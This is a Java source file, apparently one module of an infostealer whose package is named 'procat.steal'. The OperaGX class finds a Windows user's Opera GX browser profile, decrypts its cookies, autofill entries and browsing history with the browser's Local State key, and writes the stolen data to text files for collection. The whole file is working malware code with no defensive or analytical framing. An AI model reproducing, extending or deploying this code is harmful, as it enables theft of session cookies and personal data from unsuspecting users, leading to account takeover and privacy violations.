package procat.steal.nodes.impl.browser;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;

import procat.steal.nodes.Category;
import procat.steal.nodes.Node;
import procat.steal.nodes.impl.browser.decrypt.autofill.AutoFillDecrypt;
import procat.steal.nodes.impl.browser.decrypt.cookie.CookieDecrypt;
import procat.steal.nodes.impl.browser.decrypt.history.HistoryDecrypt;

public class OperaGX extends Node {

	public OperaGX() {
		super(Category.FILE);
	}

	@Override
	public void createNode() throws IOException {
		if (new File("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Cookies").exists()) {
			cookie();
		} else if (new File("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Network\\Cookies").exists()) {
			cookieNetwork();
		}
		if (new File("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Web Data").exists()) {
			autoFill();
			history();
		}
	}

	public void autoFill() throws IOException {
		if (!new AutoFillDecrypt("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Web Data", "C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Local State").getAutoFill().getData().isEmpty()) {
			FileWriter writer = new FileWriter(mergePath(getFolder(), "General" + "\\" + "AutoFills.txt"), true);
			BufferedWriter bufferedWriter = new BufferedWriter(writer);
			bufferedWriter.write(new AutoFillDecrypt("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Web Data", "C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Local State").getAutoFill().getData());
			bufferedWriter.close();
		}
	}

	public void cookie() throws IOException {
		if (new File("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Cookies").exists()) {
			FileWriter writer = new FileWriter(mergePath(getFolder(), "Cookies") + "\\" + "OperaGX.txt", true);
			BufferedWriter bufferedWriter = new BufferedWriter(writer);
			bufferedWriter.write(new CookieDecrypt("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Cookies", "C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Local State").getCookies().getData());
			bufferedWriter.close();
		}
	}

	public void cookieNetwork() throws IOException {
		if (new File("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Network\\Cookies").exists()) {
			FileWriter writer = new FileWriter(mergePath(getFolder(), "Cookies") + "\\" + "OperaGXNetwork.txt", true);
			BufferedWriter bufferedWriter = new BufferedWriter(writer);
			bufferedWriter.write(new CookieDecrypt("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Network\\Cookies", "C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Local State").getCookies().getData());
			bufferedWriter.close();
		}
	}

	public void history() throws IOException {
		if (!new HistoryDecrypt("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\History", "C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\Local State").getHistory().getData().isEmpty()) {
			FileWriter writer = new FileWriter(mergePath(getFolder(), "General" + "\\" + "History.txt"), true);
			BufferedWriter bufferedWriter = new BufferedWriter(writer);
			bufferedWriter.write(new HistoryDecrypt("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\History", "C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\Local State").getHistory().getData());
			bufferedWriter.close();
		}
	}
}